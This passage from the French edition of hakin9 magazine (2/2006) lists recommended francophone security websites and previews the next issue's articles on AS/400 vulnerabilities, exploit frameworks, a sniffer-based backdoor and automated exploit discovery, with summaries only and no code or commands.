dans le domaine de la sécurité des nouvelles
technologies.
http://corporatehackers.com
Le Portail Québécois de la Sécurité Des Systemes. Site de nouvelles, forums, téléchargements, liens sécurité, et conseils.
http://www.cccure.net
Blocus zone est un portail sur la sécurité informatique. Actualités, cours, tests de connaissances, et un forum très actif !
http://www.blocus-zone.com
HackIsKnowledge est un site d’entreaide à la
sécurité informatique. Le webmaster vous propose audits gratuits, forum, download.
http://www.hackisknowledge.org
Actualités, astuces, optimisation, personnalisation windows, sécurité, visuels et téléchargement de logiciels, jeux et captures.
http://www.smtechnologie.com
SecuriteInfo.com, un des sites web leaders de
la sécurité informatique francophone, propose
ses services aux professionnels depuis 2004.
http://www.securiteinfo.com
Toute l’actualité informatique, les dernieres
adresses, et beaucoup d’autres fonctionnalités, tout ceci géré par une équipe dynamique.
http://www.puissance-pc.net
Construit sur des serveurs FreeBSD et Linux
Informations sur UNIX, Linux, Windows, les réseaux – Hébergement libre sur serveurs libres.
http://www.virtuelnet.net
VirusTraQ.com est un observatoire francophone sur les virus informatiques, le spam et les
applications indésirables (spyware/adware).
http://www.virustraq.com
Vulnerabilite.com est le portail francophone
dédié a la sécurité des systemes d’information
pour les DSI, RSSI et décideurs informatique.
http://www.vulnerabilite.com
Crée par Terence DEWAELE, Ze-Linux a pour
but d’aider la communauté française a utiliser
GNU/Linux: Forums, Liste, News.
http://www.ze-linux.org
Voulez-vous recommander votre site ?
Contactez-nous : [email protected]
dés
Sites recomman
hakin9 2/2006
Dans le numéro suivant, vous
trouverez, entre autres :
Prochainement
Les vulnérabilités de l'AS/400 d'IBM
Dossier
Bon nombre de grosses organisations comme les banques, les hôpitaux,
les casinos, etc., sont équipées de systèmes AS/400 d'IBM et les utilisent
souvent pour la gestion de données critiques. L'architecture et le système
d'exploitation propriétaires de ces systèmes les rendent moins vulnérables
que d'autres solutions plus communes. Pourtant, depuis qu'Internet s'est
généralisé et qu'il est nécessaire de connecter ces machines aux réseaux
contemporains, des faiblesses susceptibles d'affecter ces systèmes ont été
mises au jour. Shalom Carmel se penche sur les vulnérabilités de l'AS/400 et
montre l'impact potentiel de celles-ci sur la sécurité des entreprises.
Utiliser un framework d'exploits pour les
tests d'intrusion
Pratique
Une des tâches les plus gourmandes en temps des tests d'intrusion est celle qui
porte sur l'exploitation des failles potentielles. Alors que le processus d'exploration peut être automatisé dans une large mesure, identifier l'exploit qui permettra
de démontrer l'existence de la faille est d'ordinaire un travail de bénédictin. Les
frameworks d'exploit sont une solution mise au point pour faciliter cette tâche.
Tim O. Shenko se penche sur les frameworks disponibles, les compare et analyse leur utilisabilité dans le contexte des tests d'intrusion.
Créer une porte dérobée adossée
à un renifleur
Fiche technique
Détecter des portes dérobées classiques est à la portée de quiconque utilise
un simple outil de surveillance pour afficher les connexions ouvertes. En
outre, utiliser ces portes n'est pas facile quand un pare-feu bloque l'accès à
la machine. Brandon Edwards, auteur de SilentDoor, un prototype de porte
dérobée, montre comment créer une porte dérobée qui utilise le reniflage de
paquets pour lever ces obstacles.
Automatiser la procédure des exploits
sous Linux
Programmation
Lors de tests d'intrusion, il arrive que l'on tombe sur un programme dont le
code source est indisponible et qui présente un risque de faille par débordement de tampon. Le désassemblage manuel du code nécessaire pour identifier le moyen d'exploiter ce risque est un travail laborieux. Stavros Lekkas
montre comment automatiser la procédure d'identification des exploits
potentiels dans de tels cas au moyen de son outil PoC (proof-of-concept).
Pour voir les informations actuelles sur le prochain numéro,
visitez la page http://www.hakin9.org/fr
Ce numéro sera disponible en vente début mars 2006.
La rédaction se réserve le droit de modifier le contenu de la revue.

Documents pareils